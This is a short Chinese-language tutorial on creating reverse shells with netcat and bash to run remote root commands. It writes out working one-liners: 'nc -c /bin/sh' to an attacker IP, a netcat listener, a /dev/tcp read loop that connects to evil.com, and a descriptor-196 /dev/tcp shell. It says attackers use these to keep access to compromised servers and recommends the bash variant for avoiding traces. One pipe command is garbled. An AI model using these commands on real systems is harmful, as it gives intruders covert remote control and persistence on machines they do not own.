如何使用NetCat或BASH創建反向Shell來執行遠程Root命令
反向 shell (Reverse shell)是一種往遠程機器發送 shell 命令的技術,當遠程機器處在防火墻等其它東西后面時,這種技術會變得非常有用。你也許會說,“一個普通的 shell 或簡單的 SSH 通道不是也能實現這些嗎?”不,無法實現。在網上,我看到很多人對普通 shell 和反向 shell 之間的區別分不清。在我們開始下面的內容前,先弄清楚這些概念。
反向 Shell (Reverse Shell)
- 反向 shell 的工作方式是遠程計算機將自己的 shell 發送給特定的用戶,而不是將 shell 綁定到一個端口上。后者在很多環境中是無法訪問的。這樣,你就可以對遠程服務器執行 root 命令。
Bind Shell
- bind shell 是用戶用 BSAH,將 shell 綁定到一個本地端口上,這樣任何人都可以在本地網絡中發送命令。
反向 shell 經常會被黑客用來做一些不法行為,例如入侵了一臺服務器后,他們會設置一個反向 shell,將來他們就能通過這個 shell 輕松的訪問這臺遠程計算機。我相信你是不會用它來做這種事情的。
環境要求
- 遠程 Unix 主機
- 安裝了netcat
使用 NetCat 實現反向 shell 交互
當通過 shell 登錄到遠程主機后,下面的指令能輕松的將 shell 發送到你的機器上:
nc -c /bin/sh <你的 IP> <任何一個未封鎖的端口>
你甚至能通過 netcat 來 pipe BASH。
/bin/sh nc <你的 IP> <任何未封鎖的端口>
然后監聽這個 shell:
nc -l -p <相同的端口> -vvv
通過 BASH 實現反向 shell
這種技術是當遠程機器上沒有 netcat 或你想做一些非自然的事情而不想留下太重的痕跡時使用。
監聽 shell:
nc -l -p <任何未封鎖的端口> -vvv
先創建一個新的描述符,分配到一個網絡節點。這樣我們可以對這個描述符進行讀寫。
exec 5<>/dev/tcp/evil.com/<相同的端口> $ cat <&5 while read line; do $line 2>&5 >&5; done
或另外一個反向 shell:
0<&196;exec 196<>/dev/tcp/<你的 IP>/<相同的端口>; sh <&196 >&196 2>&196
這樣,你就可以輕松是通過 netcat 發送任何命令了。
<span id="shareA4" class="fl"> </span>